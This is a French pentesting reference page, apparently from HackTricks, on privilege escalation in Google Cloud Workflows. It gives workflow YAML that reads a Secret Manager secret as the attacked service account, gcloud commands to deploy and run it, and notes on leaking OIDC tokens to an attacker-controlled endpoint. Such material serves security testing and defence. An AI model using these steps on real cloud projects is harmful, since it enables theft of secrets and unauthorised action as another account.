# GCP - Workflows Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Workflows

Informations de base :

{{#ref}}
../gcp-services/gcp-workflows-enum.md
{{#endref}}

### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)

Autant que je sache, il n'est pas possible d'obtenir un shell avec accès au point de terminaison des métadonnées contenant les identifiants de service (SA) du SA attaqué à un Workflow. Cependant, il est possible d'abuser des autorisations du SA en ajoutant les actions à effectuer à l'intérieur du Workflow.

Il est possible de trouver la documentation des connecteurs. Par exemple, voici la [**page du connecteur Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Dans la barre latérale, il est possible de trouver plusieurs autres connecteurs.

Et ici, vous pouvez trouver un exemple d'un connecteur qui imprime un secret :
```yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
```
Mise à jour depuis la CLI :
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
Si vous obtenez une erreur comme `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, il suffit de **patienter une minute et d'essayer à nouveau**.

Si vous n'avez pas accès au web, il est possible de déclencher et de voir l'exécution d'un Workflow avec :
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
> [!CAUTION]
> Vous pouvez également vérifier la sortie des exécutions précédentes pour rechercher des informations sensibles

Notez que même si vous obtenez une erreur comme `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` parce que vous n'avez pas cette permission, le workflow a été généré.

### Fuite du token OIDC (et OAuth?)

Selon [**la documentation**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), il est possible d'utiliser des étapes de workflow qui enverront une requête HTTP avec le token OAuth ou OIDC. Cependant, tout comme dans le cas de [Cloud Scheduler](gcp-cloudscheduler-privesc.md), la requête HTTP avec le token Oauth doit être envoyée à l'hôte `.googleapis.com`.

> [!CAUTION]
> Par conséquent, il est **possible de fuir le token OIDC en indiquant un point de terminaison HTTP** contrôlé par l'utilisateur, mais pour fuir le **token OAuth**, vous auriez **besoin d'un contournement** pour cette protection. Cependant, vous pouvez toujours **contacter n'importe quelle API GCP pour effectuer des actions au nom du SA** en utilisant soit des connecteurs, soit des requêtes HTTP avec le token OAuth.

#### Oauth
```yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
#### OIDC
```yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...

Avec cette permission au lieu de `workflows.workflows.create`, il est possible de mettre à jour un workflow déjà existant et d'effectuer les mêmes attaques.

{{#include ../../../banners/hacktricks-training.md}}
